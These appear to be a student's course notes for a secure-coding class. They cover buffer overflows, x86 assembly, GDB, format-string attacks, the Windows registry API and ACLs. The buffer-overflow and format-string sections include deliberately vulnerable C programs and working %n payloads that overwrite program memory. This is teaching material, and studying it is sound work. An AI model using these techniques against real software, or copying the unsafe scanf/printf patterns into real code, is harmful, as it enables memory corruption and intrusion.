--- tags: course --- # 111-1 Secure Code :::info - 參考書目 - [Robert Seacord, "Secure Coding in C and C++"](https://drive.google.com/file/d/1BQ6ar14FWReq7bJZ1SaRew6WXhInwv3p/view?usp=sharing) - ["Writing Secure Code"](https://drive.google.com/file/d/15YGHyIpI8gm1H9z9FDaQcIeTPJl1Knv6/view?usp=sharing) - [X86 Instruction Cheat Sheet](https://cs.brown.edu/courses/cs033/docs/guides/x64_cheatsheet.pdf) - [x86 Assembly Guide](https://flint.cs.yale.edu/cs421/papers/x86-asm/asm.html) - [x86 Assembly Language Reference Manual](https://docs.oracle.com/cd/E19120-01/open.solaris/817-5477/index.html) - [Instructions](https://docs.oracle.com/cd/E19120-01/open.solaris/817-5477/ennbz/index.html) - [Dive in System - Array](https://diveintosystems.org/book/C10-asm_takeaways/index.html) ::: [TOC] ## [W1] Course Intro & Buffer Overflow & Stack - Buffer Overrun/Overflow - 原因: 在寫程式時未處理好字串。 - 範例程式 ```c= #include <stdio.h> #include <string.h> int main() { char pwd[8] = "2915225"; char user_pw[8]; printf("pwd: %p\tuser_pw: %p\n", pwd, user_pw); scanf("%s", user_pw); //未經檢查就從該記憶體位址開始存取字串 if (strcmp(user_pw, pwd) == 0) printf("Correct\n"); else printf("Incorrect\n"); return 0; } ``` > 在 Ubuntu 上進行實作,需要再 compile 時加入 option 將 Stack Smashing Protection 功能關掉: > `gcc -fno-stack-protector buffer_over.c` - Hands-on: 如何覆蓋原密碼並通過密碼比對 ![](https://i.imgur.com/GN9ELt0.png) > `ctrl-@` 可以從 standard input 輸入 `\0`(字串終止) :::spoiler 參考資料 - [The Stack](https://ctf101.org/binary-exploitation/what-is-the-stack/) - [你所不知道的 C 語言: 函式呼叫篇](https://hackmd.io/@dange/rk9xmgHKX?type=view) - [Microsoft - `scanf_s`, `_scanf_s_l`, `wscanf_s`, `_wscanf_s_l`](https://learn.microsoft.com/en-us/cpp/c-runtime-library/reference/scanf-s-scanf-s-l-wscanf-s-wscanf-s-l?view=msvc-170) - [FreeBSD - Secure Programming/Buffer Overflows](https://docs.freebsd.org/en/books/developers-handbook/secure/#secure-bufferov) - [GNU Programming Tutorial - String overflows with scanf](http://www.crasseux.com/books/ctutorial/String-overflows-with-scanf.html) ::: --- ## [W2] Chapter 3 Security Principles to Live By > - Make your team more secure > - Slogan: Secure by Design, by Default, and in Depolyment($SD^3$) - Secure by Design - "go-to-person": 團隊中負責決策的人,掌舵者。 - Threat models - Guidelines - Appendix C: Coding - Appendix D: - Appendix E: - Regression tests: 同一個 bug 不應該再次出現,因此功能測試的範圍必須涵蓋過去出過 bug 的部分。 - Advice: make a test program(自動化) - Simplify the code - Penetration analysis: 滲透分析 --- ## [W3] Assembly Language Primer for Hackers - Hackers - **White-Hats** vs. **Script Kiddies** ### System Organization Basic ![](https://i.imgur.com/HONPwIi.png =400x) ### Vomn Neumann Architecture ![](https://i.imgur.com/Hie3Dey.png =600x) ### CPU ![](https://i.imgur.com/7r5GOPl.png =600x) - **Control Unit** - Retrieve/Decode instruction, Retrieve/Store data in memory. - **ALU** - Arithmetic and Logic Unit. - **Register** - Internal memory inside CPU storing tmp values of operations. - CPU Registers - General Purpose Registers - AX, BX, CX, DX, etc. - SP, BP for stack pointer. - Segment Registers - 早期 code 跟 data 並沒有做分類儲存 - Instruction Pointer Register - 存下一個要執行的指令的位址 - Control Registers - Register name which has **'E'** at first like **'E'AX, 'E'SP**. It means expended, implies the machine is **32-bit**. - Register name which has **'R'** at first like **'R'AX, 'R'SP**. It implies the machine is **64-bit**. ### Virtual Memory Model - Each process is laid out in the same virtual memory space - regardless of the actual physical memory location. ### Program Memory ![](https://i.imgur.com/e14XAti.png =600x) #### Stack - **Last In First Out** - ![](https://i.imgur.com/5AyUqOz.png =400x) - **PUSH** (add new data) - SP decreased. - **POP** (remove the topmost data) - SP increased. :::info - Practice - 練習 push, pop 操作以及觀察 stack segment 的變化。 ::: ### Hands-on - When you are executing a program, you can check some info in `/proc/<PID>/maps`. ![](https://i.imgur.com/I1lsKbO.png) > If you run the program again, next time the address of stack will change. Since Linux kernel 2.6, the position of the stack will be randomized by default. > ` cat /proc/sys/kernel/randomize_va_space` - ![](https://i.imgur.com/TTJugC7.png) #### GDB ```= list <function name> disassemble main break <line number> run <parameter> step next continue print z printf "%d %d %d\n", x, y, z ``` ```= help <command> run info registers x /16bd <address> ``` - Little Endian - ![](https://i.imgur.com/YybsoJh.png) ### GNU Assembler > [color=#a2d7dd] **Reference** > - [The GUN Assembler Manual](http://microelectronics.esa.int/erc32/doc/as.pdf) > - [Search GNU Assembler Method](https://web.mit.edu/gnu/doc/html/as_toc.html) > - [**Assembly - Quick Guide** (Recommand)](https://www.tutorialspoint.com/assembly_programming/assembly_quick_guide.htm) - Structure ![](https://i.imgur.com/Zze82Dy.png) - **text & data section** - **The text section is often shared among processes**: it contains instructions, constants and the like. - The data section of a running program is usually alterable(?) - for example, C variables would be stored in the data section. - **bss section** - This section contains zeroed bytes when your program begins running. - It is used **to hold unitialized variables** or common storage. > [color=#f6bfbc] **Compile Method** > - `as hello.s -o hello.o` > - Assemble into an object module > - `ld hello.o -o hello.exe` > - Link and Load, Link the library to resolve the reference and Load into memory > => Execute file #### Example - Hello World ```asm= .data s1: .ascii "Hello World\n" .text .globl _start _start: mov $4, %rax # system call, $4 sys_write mov $1, %rbx mov $s1, %rcx mov $12 %rdx # 16 is the length of s1 int $0x80 # call kernal # exit() mov $1, %rax mov $0, %rbx int $0x80 ``` - System Call > [Picture from Tutorialspoint](https://www.tutorialspoint.com/assembly_programming/assembly_system_calls.htm) ![](https://i.imgur.com/c3vrVRh.png) - Read from Command Line > Enter a $name, then print out "Hello, $name" ```asm= .data ask: .ascii "Name? " s1: .ascii "Hello, " newline: .ascii "\n" .bss .lcomm buf 10 # Declare a 10-byte variable, buf .text .globl _start _start: # ASK "Name? " mov $4, %rax mov $1, %rbx mov $ask, %rcx mov $6, %rdx int $0x80 # READ INPUT mov $3, %rax # system call, $4 sys_read mov $2, %rbx # I don't know why $2 Fork(?) mov $buf, %rcx # Save Command Line Input in buf mov $10, %rdx int $0x80 # PRINT "Hello" mov $4, %rax mov $1, %rbx mov $s1, %rcx mov $7, %rdx int $0x80 # PRINT NAME mov $4, %rax mov $1, %rbx mov $buf, %rcx mov $10, %rdx int $0x80 # exit() mov $1, %rax mov $0, %rbx int $0x80 ``` --- ## [W4] Assembly Primer (2) - Data Types - [name=Solomon]: Why 數字比字串複雜? - A: 有多種的資料型態用來處理數字 - int, short, float, etc. ### Data Types in .DATA - .byte = 1 byte - .ascii = string - .asciz = null-terminated string - automatically add `\0` - .int = 32-bit integer - .short = 16-bit integer - .float = single precision floating-point number - IEEE 754 - sign: 1 bit - exponent: 8 bits - fraction: 23 bits - .double = double precision floating-point number ### Data Type in .BSS - .comm - Globally declare common memory area - .lcomm - Locally declare common memory area ### Hands-on ```= .data HelloWorld: .ascii "Hello World!" Name: .asciz "Alice" ByteLocation: .byte 10 Int32: .int 2 Int16: .short 3 Float: .float 1.75 IntegerArray: .int 10,20,30,40,50 .bss .comm LargeBuffer, 4096 .text .globl _start _start: # Exit syscall to exit the program mov $1, %rax mov $0, %rbx int $0x80 ``` - GDB commands > [color=#9790a4] Assemble with option `-g` > - `as -g var.s -o var.o` > - `ld var.o -o var.exe` > - `gdb var.exe` ```= info breakpoints info variables ``` ![](https://i.imgur.com/GHsRuhW.png) :::info Tips: turn decimal to hex on Linux command line ```bash= printf "%x\n" , 10000 ``` ::: - Examine Memory Contents - Usage of GDB command `x` ```= x/18bc <memory address> x/1bd <memory address> x/1wd <memory address> x/5wd &IntegerArray ``` > 18b: 18 bytes > c: char > d: decimal > 1w: 1 word ### Moving Data & Memory Addressing ```= mov src, dst ``` - movb = byte (8 bit) - `movb %ah, %bh` - movw = word (16 bit) - `movw %ax, %bx` > In x86 assembly, a word = 16 bits. In GDB, a word = 32 bits. - movl = long word (32 bit) - `movl %eax, %ebx` - movq = quadword (64 bit) - `movq %rax, %rbx` #### Hands-on ```= .text .globl _start _start: mov $0xFFFFFFFFFFFFFFFF, %rax movl %eax, %ebx movw %ax, %cx movb %ah, %dh movq %rax, %rdi # Exit syscall to exit the program mov $1, %rax mov $0, %rbx int $0x80 ``` #### You can move between... - Between registers - Between memory and register ```= Int32: .int 10 mov Int32, %eax mov %eax, Int32 ``` - Immediate value to register - `mov $10, %rax` - Immediate value to memory location - `movl $11, Int32` > 無法省略 mov type(movl) 的情況 ## [W5] Assembly Primer (3) - Conditional Jump ### Review - 運算時無法同時將兩個 memory 做為 reference - 兩次的 memory access 耗時過久 - `imul` - Immediatly Multyply ![](https://i.imgur.com/NZvYz08.png) - div.s ```asm= 504 Waste $ cat div.s .data Int16: .short 100 V22: .short 22 V36: .short 36 .text .globl _start _start: mov Int16, %ax idiv V22, %ax mov Int16, %ax divw V36 # Exit syscall to exit the program mov $1, %rax mov $0, %rbx int $0x80 ``` - ![](https://i.imgur.com/eGzvYKC.png) - 用 dx+ax 拼成 4-byte 做除法 - 若 dx 未歸零則出錯 ### Unconditional Branching - Conditional Branching example: `goto` in C - Assembler 的兩大優點 - mnemonic code - 可以用 label 表示 - Jump to a new address - `jmp <label>` - Similar to the `goto` statement in C. - Effect: The value of the Instruction Pointer register is replaced by the address. - jmp.s ```= .data s1: .ascii "Hello\n" .text .globl _start _start: jmp SayHello Exit: mov $1, %rax mov $5, %rbx int $0x80 SayHello: mov $4, %rax mov $1, %rbx mov $s1, %rcx mov $6, %rdx int $0x80 jmp Exit ``` - Call a Subroutine - `call <label>` - Similar to calling a function in C. - The called subroutine has a RET instruction - `ret` - Similar to the `return` statement in C. - call0.s ```= .data s1: .ascii "Hello\n" .text .globl _start _start: call SayHello call SayHello Exit: mov $1, %rax mov $0, %rbx int $0x80 SayHello: mov $4, %rax mov $1, %rbx mov $s1, %rcx mov $6, %rdx int $0x80 ret ``` > 執行 call 時會將下一行 instruction 的位址先記到 stack 裡面(push),等 ret 被執行時再從 stack 取出(pop)。 :::spoiler 小知識 ```bash !a && !l && !g ``` > 利用`!`省略要執行的指令,`&&`成立的前提是前一個指令需執行成功。 ::: ### Conditional Branching > Jump on Specific Conditions - After `sub <dst> <src>` - `JZ`: Jump if the result is zero - `JNZ`: Jump if the result is non-zero - Compare - `cmp <dst> <src>` - Similar to `sub`, but it doesn't modify iperand. - After compare, use `JG`, `JL`, `JE`, etc. - Loop - You can creat loop with conditional branching. - Or, there is a statment `loop` - Number of times is stored in CX - It automatically decrements CX after each iteration. ``` mov $0, %rax mov $100, %rcx L1: add %rcx, %rax loop L1 # CX - 1 ``` - Use `push` and `pop` to protect your CX from modifying. ``` mov $0, %rax mov $100, %rcx L1: push %rcx add %rcx, %rax pop %rcx loop L1 # CX - 1 ``` ## [W6] Functions > instruction suffixes are: > - b > - Byte (8–bit) > > - w > - Word (16–bit) > > - l > - Long (32–bit) (default) > > - q > - Quadword (64–bit) - Passing arguments to a function - Registers - Global memory locations - Stack - Returning values from a function - Registers - Global memory locations - func1.s > pass parameters by registers ```asm= .data s1: .ascii "Hello " s2: .ascii "NCNU\n" .text .globl _start .type MyFunction @function # This line may not be necessary MyFunction: mov $4, %rax mov $1, %rbx int $0x80 ret _start: mov $s1, %rcx # string pointer mov $6, %rdx # string length call MyFunction mov $s2, %rcx mov $5, %rdx call MyFunction mov $1, %rax mov $0, %rbx int $0x80 ``` - func2.s > pass by global var ```asm= ``` ### Call your asm function from C - put.s ```asm= .bss .lcomm ch 1 .text .globl putc .type putc @function putc: mov %rdi, %rax mov %al, ch mov $4, %rax mov $1, %rbx mov $ch, %rcx mov $1, %rdx int $0x80 ret .globl putd .type putd @function putd: add $48, %rdi call putc ret ``` - main.c ```c= int putd(int n); // function prototype int main() { putd(7); return 0; } ``` - Compile ```bash= as put.s -o put.o gcc -c main.c -o main.o gcc main.o put.o -o put.exe ``` :::info - 使用 `g++` 會出現找不到 function 名稱的錯誤 - 因為`gcc` compile 前後 function 名稱接相同;而 `g++` 為支援 function overloading,compile 後 function 名稱會改變,因此這邊使用 `g++` 會出錯 ::: ## [W7] Functions Stack ### Makefile ``` %.o: %.s as -g $< -o $@ %.exe: %.o ld $< -o $@ clean: rm -f *.o *.exe ``` ### Manipulating the Stack - `push` & `pop` - `lea`: load effective address - moves src's address to dst (while`mov` moves value) ## [W8] Stack-based Buffer Overrun - Overwrite the memory with an address. - `.data` vs `.bss` - Initial value 的有無 ### Stack Frame - Heap - Dynamic memory ![](https://i.imgur.com/hjjnCyI.png) - Inside the Stack Segment, each function call is allocated a stack frame to store: - (optional) arguments - 如果要傳遞的參數較少,會選擇直接用 Register 傳遞。 - return address - old EBP - buffer (local variables) - Local variable 在 memory 中擺放順序由後往前 - Global variable 在 memory 中擺放順序由前往後 - Practice ``` 請把 hacked 函式改成 void hacked() { printf("================\n"); printf("I am hacked again!\n"); printf("================\n"); } 這時你發現原本的輸入檔無法駭進它。請研究一下,該如何修改你的輸入檔,成功讓程式印出 I am hacked again. ``` ### Off by One --- ## [W10] Format String Attacks with `printf()` ### Format String - What is "format string"? - **Convert other types data into string.** | Conversion Specifier | Data Type | | -------- | -------- | | %d | decimal | | %u | unsigned decimal | | %o | octal | | %x | hexadecimal | | %f | float | | %c | character | | %s | string | | %p | pointer | - Common functions using format string - `printf()`: print the format string to the **standard output**. - `fprintf()`: print the format string to a **file**. - `sprintf()`: print the format string to another **string**. - `snprintf()`: print the format string to another string with a **specified length**. ### Order to print - The ouput will be `11 10`, not `10 11`: ```c= #include <stdio.h> int main() { int n = 10; printf("%d %d\n", n, n++); return 0; } ``` :::info - Push n into the stack first, then push n++. - While printf() scans for **conversion specifiers** from left to right, pop out n++ first, then pop out n. ::: - If we didn’t supply sufficient arguments, the program still runs fine, with more values taken from the stack: ```c= printf("%d %d %d %d %d\n", n, n++); ``` ### Conversion Specifier `%n` - The number of characters printed so far is stored into the integer pointed to by the corresponding argument. (That argument shall be an `int*`.) ```c= #include <stdio.h> int main() { int n; printf("ABC%d%nDEF", 5, &n); printf(“\n===\n"); printf("%d\n", n); return 0; } ``` - Output: The printed string 'ABC5' have 4 charaters. ``` ABC5DEF === 4 ``` :::info Now we learned that printf() can **write something into memory**. ::: ### Attack - Example code 1 ```c= #include <stdio.h> int score = 60; int main(int argc, char* argv[]) { int* ptr = &score; printf("Hello, "); printf(argv[1]); // get username from argv printf("\nYour score is %d\n", score); printf("\n[DEBUG] score: %d [%p] \n", score, &score); return 0; } ``` ``` $ fmtstr1.exe Alice Your name? Hello, Alice Your score is 60 [DEBUG] score: 60 [0x404030] ``` - Give another input for argv ``` $ fmtstr1.exe "%29p.%p.%p.%p.%p.%p.%p.%p.%n" Hello, 0xcaa2a0.(nil).(nil).(nil).0xcaa2a0.0x7ffcf5f79f88.0x200401040.0x7ffcf5f79f80. Your score is 99 [DEBUG] score: 99 [0x404030] ``` :::info If we input “%p”, it fetches 8 bytes from the stack and prints as a pointer. ::: - If you can luckly find the score's memory address(0x404030) in first few values which poped from the stack, just change the corresponding **%p** to **%n**, this will write “number of characters so far” into the memory location 0x404030. - But you are not always so lucky to find the memory address in the stack. - Example code 2 ```c= #include <stdio.h> int score = 60; int main() { char msg[500]; printf("Your name? "); scanf("%s", msg); printf("Hello, "); printf(msg); printf("\nYour score is %d\n", score); printf("\n[DEBUG] score: %d [%p] \n", score, &score); return 0; } ``` ``` Your name? %p.%p.%p.%p.%p.%p.%p.%p.%p Hello, 0x6c6c6548.(nil).(nil).(nil).0x1a406b0.0x70252e70252e7025. 0x252e70252e70252e.0x2e70252e70252e70.0x7025 Your score is 60 [DEBUG] score: 60 [0x404038] ``` > `%`: 25, `p`: 70, `.`: 2e --> they appears in what you pop from the stack. :::info You didn’t see the desired memory address, but you see your input string is stored in the stack, so you can supply the address by yourself! ::: ```shell= python -c "print('..%p.%p.%p.%p.%p.%p.%p.%p.%p.%n.\x38\x40\x40')" | ./fmtstr2.exe ``` ``` Hello, ..0x6c6c6548.(nil).(nil).(nil).0x1bec6b0.0x2e70252e70252e2e.0x70252e70252e7025. 0x252e70252e70252e.0x2e6e252e70252e70..8@@ Your score is 117 ``` ### `$` and `*` in format string ```c= #include <stdio.h> int main() { // $: Positional Argument printf("%2$s\n", "One", "Two"); printf("%5$d %3$d\n", 1, 2, 3, 4, 5); // *: The width is given in the next argument printf("%5d\n", 97); printf("%*d\n", 5, 97); return 0; } ``` ``` Two 5 3 97 97 ``` - So we don't need to print too much `%p` ```c= python -c 'print("...%7$p.\x38\x40\x40\x00\x00\x00\x00\x00")' | ./fmtstr2.exe ``` ``` Hello, ...0x404038.8@@ ``` - Then change `%p` to `%n` ```c= python -c 'print("...%7$n.\x38\x40\x40\x00\x00\x00\x00\x00")' | ./fmtstr2.exe ``` ``` Hello, ....8@@ Your score is 3 ``` --- ## [W11] Windows Registry > [ Registry Doc ](https://learn.microsoft.com/en-us/windows/win32/sysinfo/registry) ### Windows Registry - Basically is a hierachical database - In Win+R, enter `regedit` 進入 Windows Registry - The data is structured in a tree format - Each Node in the tree called "Key" - Each Key contain both subkeys and data entries called "values" - Each value consists of a value "name" and its associated "data", if any - Key names are not case sensitive - (補充) RunMRU - 存曾經在 win+R 輸入過的指令 - ![](https://i.imgur.com/EbIaW6S.png) - a, 代表 a 開頭的指令;曾輸入過的會在下方提示 - Registry Storage Space - APP configuration and initialization data in the registry - Executable binary code should never - Application should group similar data together as a structur - Predefined Keys - HKEY_CURRENT_USER // H means Handle, like a ID to point the specific stuff in Windows doc - user specific data - HKEY_LOCAL_MACHINE - computer specific data - e.g. ![](https://i.imgur.com/FuAwblu.png) - Central Processor 0-7 => 8 cores #### Program - RegCloseKey() - If this function suceeds, the return value is "ERROR_SUCCESS" ```cpp= LSTATUS RegCloseKey( [in] HKEY hKey ); ``` - Opening Keys ```cpp= #include <Windows.h> #include <winreg.h> #include <stdio.h> int main() { LSTATUS lResult; HKEY hKeyRoot = HKEY_CLASSES_ROOT; LPCWSTR lpSubKey = L"x-intranet-signup"; // LPCWSTR lpSubKey = L"x-internet-signup"; HKEY hKey; lResult = RegOpenKeyEx(hKeyRoot, lpSubKey, 0, KEY_READ, &hKey); if (lResult != ERROR_SUCCESS) { if (lResult == ERROR_FILE_NOT_FOUND) { printf("Key not found.\n"); return TRUE; } else { printf("Error opening key.\n"); return FALSE; } } return 0; } ``` - L"...", means UTF-8 - RegOpenKeyEx - Ex, extension ******** - Retrieving Data from the Registry - ToDo: Retrieving Data from the Registry ( Retrieving the font of lilina session ) - Regedit Path `Computer\HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\Sessions\lilina` - ![](https://i.imgur.com/D3kX7ni.png) - SimonTatham, 公司名稱;也是開發者名稱 - Program ```cpp= #include <Windows.h> #include <winreg.h> #include <stdio.h> #define MAX_BUFF (64) #define MY_VALUENAME L"FontHeight" int main() { LSTATUS lResult; HKEY hKeyRoot = HKEY_CURRENT_USER; LPCWSTR lpSubKey = L"SOFTWARE\\SimonTatham\\PuTTY\\Sessions\\lilina"; HKEY hKey; lResult = RegOpenKeyEx(hKeyRoot, lpSubKey, 0, KEY_READ, &hKey); if (lResult != ERROR_SUCCESS) { if (lResult == ERROR_FILE_NOT_FOUND) { printf("Key not found.\n"); return TRUE; } else { printf("Error opening key.\n"); return FALSE; } } else { BYTE bBuff[MAX_BUFF]; ZeroMemory(bBuff, MAX_BUFF); //Determine how much data to read. DWORD cbBuff = 0; if (RegQueryValueEx(hKey, MY_VALUENAME, NULL, NULL, NULL, &cbBuff) == ERROR_SUCCESS) { //Now read all the data. if (RegQueryValueEx(hKey, MY_VALUENAME, NULL, NULL, bBuff, &cbBuff) == ERROR_SUCCESS) { //Cool! //We have read the data from the registry. printf("Your font height is %d\n", *((int *) bBuff)); } } } return 0; } ``` - cbBuff - 指定讀幾個 Byte - 執行結果 - ![](https://i.imgur.com/DkWW00f.png) - Also can change here - ![](https://i.imgur.com/4vlfhlt.png) ******** - Write Registry Data ```cpp= #include <Windows.h> #include <winreg.h> #include <stdio.h> int main() { LSTATUS lResult; HKEY hKeyRoot = HKEY_CURRENT_USER; LPCWSTR lpSubKey = L"SOFTWARE\\SimonTatham\\PuTTY\\Sessions\\lilina"; HKEY hKey; lResult = RegOpenKeyEx(hKeyRoot, lpSubKey, 0, KEY_SET_VALUE, &hKey); if (lResult == ERROR_SUCCESS) { WCHAR lpValueName[] = L"A_School"; DWORD bBuff = 67; DWORD cbBuff = 4; lResult = RegSetValueExW(hKey, lpValueName, NULL, REG_DWORD, (const BYTE*) &bBuff, cbBuff); if (lResult == ERROR_SUCCESS) wprintf(L"Your value is set successfully.\n"); } return 0; } ``` - Read 不用指定 Type, 但 Write 要 - REG_DWORD - a 32-bit number (in little endian on X86) - REG_QWORD - a 64-bit number - REG_SZ - a null-terminated string - When writing a string to the registry, you must specify the length of the string, including the terminating null character (\0) - `strlen` returns only the number of characters in the string, not including the terminating null - wide char, type for UTF8 ```cpp= #include <Windows.h> #include <winreg.h> #include <stdio.h> int main() { LSTATUS lResult; HKEY hKeyRoot = HKEY_CURRENT_USER; LPCWSTR lpSubKey = L"SOFTWARE\\NCNU\\Coconut"; HKEY hKey; DWORD dwDisposition; lResult = RegCreateKeyEx(hKeyRoot, lpSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_CREATE_SUB_KEY | KEY_SET_VALUE, NULL, &hKey, &dwDisposition); if (lResult == ERROR_SUCCESS) { WCHAR lpValueName[] = L"Version"; WCHAR bBuff[] = L"1.0"; DWORD cbBuff = sizeof(bBuff); lResult = RegSetValueExW(hKey, lpValueName, NULL, REG_SZ, (const BYTE*)bBuff, cbBuff); if (lResult == ERROR_SUCCESS) wprintf(L"Your value is set successfully.\n"); } return 0; } ``` ******** - Create Key ```cpp= LSTATUS RegCreateKeyExW( [in] HKEY hKey, [in] LPCWSTR lpSubKey,DWORD Reserved, [in, optional] LPWSTR lpClass, [in] DWORD dwOptions, [in] REGSAM samDesired, [in, optional] const LPSECURITY_ATTRIBUTES lpSecurityAttributes, [out] PHKEY phkResult, [out, optional] LPDWORD lpdwDisposition ); ``` - VOLATILE - 重新開機就消失 - e.g. RAM ```cpp= #include <Windows.h> #include <winreg.h> #include <stdio.h> int main() { LSTATUS lResult; HKEY hKeyRoot = HKEY_CURRENT_USER; LPCWSTR lpSubKey = L"SOFTWARE\\SimonTatham\\PuTTY\\Sessions\\NCNU"; HKEY hKey; DWORD dwDisposition; lResult = RegCreateKeyEx(hKeyRoot, lpSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_CREATE_SUB_KEY, NULL, &hKey, &dwDisposition); if (lResult == ERROR_SUCCESS) wprintf(L"Your value is created successfully.\n"); return 0; } ``` *** - Delete Key ```cpp= #include <Windows.h> #include <winreg.h> #include <stdio.h> int main() { LSTATUS lResult; HKEY hKeyRoot = HKEY_CURRENT_USER; LPCWSTR lpSubKey = L"SOFTWARE\\SimonTatham\\PuTTY\\Sessions\\NCNU"; HKEY hKey; lResult = RegDeleteKeyExW(hKeyRoot, lpSubKey, KEY_WOW64_64KEY, NULL); if (lResult == ERROR_SUCCESS) wprintf(L"Your key is deleted successfully.\n"); return 0; } ``` ## [W12] Access Control Overview - Key Concepts in Windows - Permissions - Assign to Objects - Ownership of Objects - Inheritance of Permissions - User Rights - Assign to Users - Object Auditing - Audite 稽核 - 監控 Object 被使用的狀況(ex. who access this object?) - AAA - Authentication - who are you? - ex. 2FA(2-factor) - Authorization - what can you do? - Audit - what have you done? - Access Control List(ACL) - Users and Groups - In Windows, "Security Principals" means users and groups. - 實務上將權限 assign to group 會比 assign to user 來得不易出錯。 - Containers - An object can hold other objects(subfolders and files). ### Audit in Windows - 對檔案點擊右鍵 -> Properties -> Security -> Advanced Security Settings -> Audit - ![](https://i.imgur.com/dFVpzeV.png) - Search "secpol.msc" -> Local Policies -> Audit Policy -> Audit Object Access - ![](https://i.imgur.com/dcGkVOL.png) - Event Viewer -> Windows Log -> Security -> Filter Current Log - ![](https://i.imgur.com/vzK5X6E.png) - ![](https://i.imgur.com/KCwcdZv.png) :::warning The disk should use **NTFS** as File System mode. **FAT** & **FAT32** couldn't support ACL. ::: #### `sddlacl.cpp` ```cpp= /* SDDLACL.cpp */ #define _WIN32_WINNT 0x0500 #include <windows.h> #include <sddl.h> int main() { SECURITY_ATTRIBUTES sa; sa.nLength = sizeof(SECURITY_ATTRIBUTES); sa.bInheritHandle = FALSE; const TCHAR* szSD = L"D:P" //DACL L"(D;OICI;GA;;;BG)" //Deny Guests L"(A;OICI;GA;;;SY)" //Allow SYSTEM Full Control L"(A;OICI;GA;;;BA)" //Allow Admins Full Control L"(A;OICI;GRGWGX;;;IU)"; //Allow Interactive Users RWX if (ConvertStringSecurityDescriptorToSecurityDescriptor( szSD, SDDL_REVISION_1, &(sa.lpSecurityDescriptor), NULL)) { if (!CreateDirectory(L"C:\\Waste\\MyDir", &sa)) { DWORD err = GetLastError(); } LocalFree(sa.lpSecurityDescriptor); } } ``` #### `atlacl.c` :::info **ATL - Active Template Library** ::: ```cpp= /* ATLACL.cpp */ #include <atlsecurity.h> #include <iostream> using namespace std; int main() { try { //The user accounts CSid sidSolomon(L"\\solomon"); CSid sidAdmin = Sids::Admins(); CSid sidGuests = Sids::Guests(); //Create the ACL, and populate with ACEs. //Note the deny ACE is placed before the allow ACEs. CDacl dacl; dacl.AddDeniedAce(sidGuests, GENERIC_ALL); dacl.AddAllowedAce(sidSolomon, GENERIC_READ); dacl.AddAllowedAce(sidAdmin, GENERIC_ALL); //Create the security descriptor and attributes. CSecurityDesc sd; sd.SetDacl(dacl); CSecurityAttributes sa(sd); //Create the directory with the security attributes. if (CreateDirectory(L"c:\\Waste\\MyTestDir", &sa)) cout << "Directory created!" << endl; } catch (CAtlException e) { cerr << "Error, application failed witherror " << hex << (HRESULT)e << endl; } } ``` --- ## [W15] Precentation ### - Hijacking - Mutual Authentication - MSL - `cat /proc/sys/net/ipv4/tcp_fin_timeout` to see the value of 2*MSL - Firewall - FTP Bounced Attack -